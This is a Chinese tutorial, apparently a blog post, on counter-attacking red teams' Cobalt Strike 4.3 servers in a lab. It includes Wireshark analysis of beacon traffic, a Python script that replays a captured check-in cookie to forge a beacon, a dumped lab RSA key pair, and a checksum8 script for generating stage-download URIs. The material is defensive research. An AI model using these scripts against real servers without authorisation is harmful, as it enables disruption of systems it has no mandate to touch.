[文末抽奖] 反制学习:Cobalt Strike批量上线(上)

简介: [文末抽奖] 反制学习:Cobalt Strike批量上线

01Cobalt Strike反制综述


参考文档:https://forum.butian.net/share/708

Cobalt Strike近些年来被称之为多人线上运动神器,在目前攻防大背景下,由Cobalt Strike展开的红蓝对抗技术不断积累,其中域前置技术、修改特征等手段来躲避各种流量检测工具,而Cobalt Strike的特征识别也成为网络空间测绘引擎重点关照的点,而且各种威胁情报中,对于Cobalt Strike的特征标记也最常见。如果在我们实战攻防中,遇到了红队使用Cobalt Strike来钓鱼等操作时,我们如何在短时间内扰乱红队,甚至将红队的Cobalt Strike服务器宕机,又或者是红队使用了域前置技术,短时间内无法溯源的情况下,如何能够扳回一局?本文参考了大量的文章,一起来学习复现一下如何从一个木马到反制红队Cobalt Strike服务器。

本文参考了大量的文章,一起来学习复现一下如何从一个木马到反制红队Cobalt Strike服务器。

02本文说明


测试Cobalt Strike版本:4.3


注意:本文时常跨度较长,文章中部分图可能无法完全对接文字,但是方法都是一模一样的,本文针对的都是内网环境测试,下文如未做特殊说明,cs版本均为4.3


03CS简单版上线分析


在Cobalt Strike没有使用域前置的情况下,进行测试。

在攻击的时候,使用最简单的Beacon HTTP模式:


生成一个exe文件,然后运行在Windows7虚拟机中,并准备抓包分析:


监听vnic0这张卡,可以监控到虚拟机win7的流量:




双击之后,上线成功,也抓到了流量:


暂停抓包,开始分析:

使用的攻击机ip地址为:10.30.7.240因为使用的是HTTPbeacon,所以在这里使用命令进行过滤:ip.addr == 10.30.7.240 && http在这里如果在实战中,是没法知道cs服务端的ip地址的,在这里可以关闭虚拟机的浏览器,确保没有http服务的时候,直接使用http过滤是一样的:

过滤方法:ip.addr == 10.30.7.240 && http

过滤方法:http

由此可以看到,当前过滤得到的结果是一样的。

追踪第三条数据可以看到一个cookie信息:



GET /IE9CompatViewList.xml HTTP/1.1
Accept: */*
Cookie: Mkq5CSB3bIJnuXwR+A3nCJjQn2c1vYk6XjIUcDQJQao3hqnTIng4zRWayhxpey74n9uBA8mVcRMdrr2LHPqtfOI9Uuysz5v9ACTTydHE5/x6h/tW2MB+J8jonn4Xtl2aaSlPXrmG+njwN1EOTkucrza6bCPdx0WHFLElFtotcZU=
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)
Host: 10.30.7.240
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 24 Dec 2021 08:31:51 GMT
Content-Type: application/octet-stream
Content-Length: 0

在这里用一个脚本复现下:


# -*- encoding: utf-8 -*-
# Time : 2021/12/24 16:52:07
# Author: crow
import requests
url = 'http://10.30.7.240:80/IE9CompatViewList.xml'
header = {
    'Accept':'*/*',
    'Cookie': 'Mkq5CSB3bIJnuXwR+A3nCJjQn2c1vYk6XjIUcDQJQao3hqnTIng4zRWayhxpey74n9uBA8mVcRMdrr2LHPqtfOI9Uuysz5v9ACTTydHE5/x6h/tW2MB+J8jonn4Xtl2aaSlPXrmG+njwN1EOTkucrza6bCPdx0WHFLElFtotcZU=',
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)',
    'Host': '10.30.7.240',
    'Connection': 'Keep-Alive',
    'Cache-Control': 'no-cache'
        }
res = requests.get(url,headers= header)
# print(res.url)
print('-'*20)
print(res.text) # 无返回
print('-'*20)
print(res.headers) # {'Date': 'Fri, 24 Dec 2021 09:04:53 GMT', 'Content-Type': 'application/octet-stream', 'Content-Length': '0'}
# print('-'*20)
# print(res.status_code)


cs界面将原来的机器清除,运行之后,cs上线。

在这里知道那个cookie是非对称RSA加密过的,如果想解密,需要一个私钥Private Key才能解密。

Cookie: Mkq5CSB3bIJnuXwR+A3nCJjQn2c1vYk6XjIUcDQJQao3hqnTIng4zRWayhxpey74n9uBA8mVcRMdrr2LHPqtfOI9Uuysz5v9ACTTydHE5/x6h/tW2MB+J8jonn4Xtl2aaSlPXrmG+njwN1EOTkucrza6bCPdx0WHFLElFtotcZU=

关于私钥获取在下一节。

微信图片_20230517200135.gif

04Private Key与Public Key


现在以上帝视角在Cobalt Strike服务器上进行解密:

java -cp "cobaltstrike.jar" DumpKeys.java

脚本地址:https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/

此时,注意:

环境要在JDK11版本下运行。还要把这个java文件放置在CS服务器的CS文件夹下,与“cobaltstrike.jar“同一个目录下。(参考:https://forum.butian.net/share/708

Private Key: MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAMyLIY+FyD/7cPtjZZYgjYVbuRYiF9VkGGrF6yKXl093vLDY9osCXiXOpas96nOApW13O5pet1MD1sMBCEDqTYCWC0qF0+cQDcpc22EIiQk185uMkBx0DuSPsuLo533FCWLtThHE9II7bcOe4jb3AorUv/2SrxAXkXwS6+MrwuQNAgMBAAECgYEArgRATSZ4M1brzDPIHW0cebSLRrVCqZ062LwBS7DEXit0MNClD6a4ClpAv+sxJ4rvMq4Z2z9xoALIF6ctKm0r+RBQJrjHC9IIzKF3+a5+lOKIFdVF2WtSN1L9Njn0of2W/IMlg95U21krq8gZU+7lsISoSGmlWxuiT5xLVSKPWVECQQDl4L5w8XWbUbn+HkXPUpddLVQr7eax9YIPYEZUp9bDAbuwusFp+POug7dMZPFAJ+GkPnfsbsl9Pv+qwr6LXgovAkEA48llmeGPEzD8gZzJWya+rxRxFG+GzQKUq8FVRM2/kjJJ8n9DVbVWQAovDYoOAozdxzYk6IGsN0TvfjRW8KGygwJBAOAmZYx75dGtv06q9idSwYV5zbmIIIsmecvEdM/XWPKNnhaWBELxHavtg65aP2Pvf3ZH82f4H0ChTWuUuXfsGsECQFYLWanLHnStaHS9eQJJnHYeTqjdiBohA2/t0/vtjJP5Ex3bHOBfY3lFX4jJwYkNFSmPNlntwdQO4jjWJJE5Q2kCQFYa/PNGTjYiVikgo5OuB6JQfITp8Ny9v0fKP0LNhmBSjkbKSRz74pA/63eb3NI7+CuB2dJUA9ZuwkkMBwjY5yg=
Public Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMiyGPhcg/+3D7Y2WWII2FW7kWIhfVZBhqxesil5dPd7yw2PaLAl4lzqWrPepzgKVtdzuaXrdTA9bDAQhA6k2AlgtKhdPnEA3KXNthCIkJNfObjJAcdA7kj7Li6Od9xQli7U4RxPSCO23DnuI29wKK1L/9kq8QF5F8EuvjK8LkDQIDAQAB

在这里就取到了私钥,有了私钥之后可以在线解密:

解密网站:https://the-x.cn/cryptography/Rsa.aspx(我没有解密成功,注意base64和hex编码等问题),在这放一张解密成功的:

图片引用链接:https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/cs-mu-biao-shang-xian-guo-cheng

在这里是可以看到上线的主机的若干信息的。

当然,也可以使用https://github.com/Apr4h/CobaltStrikeScan中的工具直接解析Beacon的配置和payload

使用方法,当木马运行之后,直接在运行木马的机器中,使用命令行中运行该exe文件:

CobaltStrikeScan.exe -p

在实际情况中,无法取得私钥的,但是在有公钥的情况下或许就可以直接上线机器,详细分析请见下节。


05beacon解密分析


5.1 上线流程分析

5.1节引用参考:https://www.secpulse.com/archives/165561.html

攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;

攻击者投递Stager到受控主机;

受控主机在Exploit阶段执行小巧的Stager;

受控主机根据Stager UrI请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验UrI的合法性;

Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);

Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;

C2 Server用私钥解密数据获取主机元数据。

从上述流程中,我们能Get到2个核心点:

- Stager Uri校验算法

- Beacon配置的解密算法


5.2 流程分析


在上述执行上线的操作里面,一共过滤出了4个包,其中最关键的就是前3个:

上线的时候先投递一个小巧的Stager Payload,然后通过Stager 去Beacon Staging Server的某个URI下载完整的Stage(也就是体积更大功能更复杂的Payload),并将其注入内存。这个URI作为特征也可以用来识别CS服务器,做网络测绘。CS中Stager URI校验算法,就是生成4位的随机校验码,将校验码拼接到URI后面即可请求到Stage的代码。

以上两段参考至:https://forum.butian.net/share/708

在这里面提到生成4位的随机校验码,使用的算法是Stager URI校验算法checksum8,这个算法的代码部分如下:图片参考:https://www.cnblogs.com/donot/p/14226788.html

由代码可知,当前的checksum8算法执行方法:

a-z、A-Z、0-9字母中,随机使用选择四个字符,在这四个字符计算ASCII码的值后求和取模,如果结果等于92的为32位的,等于9364位的,代码如下:

# -*- encoding: utf-8 -*-
# Time : 2021/12/28 16:15:11
# copy Author: crow
# 脚本内容参考:https://mp.weixin.qq.com/s/BLM8tM88x9oT4CjSiupE2A
# https://www.freebuf.com/articles/network/258138.html
import requests
import random,time
def generate_checksum(input):
    trial = ''
    total = 0
    while total != input:
        total = 0
        trial = ''.join(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
                        for i in range(4))
        # print(trial)
        for i in range(4):
            # tmp = trial[i:i+1]
            # print('total的值', total)
            # print('tmp的值:',tmp)
            # print('ord的值:',ord(tmp))
            # print('除后的值:', ord(tmp) % 256)
            # time.sleep(2)
            total = (total + ord(trial[i:i+1])) % 256
            # print(total)
    print('64位的stage:',trial)
    return total
    # print(total)
for j in range(0,6):
    # generate_checksum(92) # 32位
    generate_checksum(93) # 64位

在这里运行每次生成的4个字符都是不唯一的,但是结果都是符合checksum8算法的,因此在这里只要是端口对应,直接拼接即可下载stage文件。


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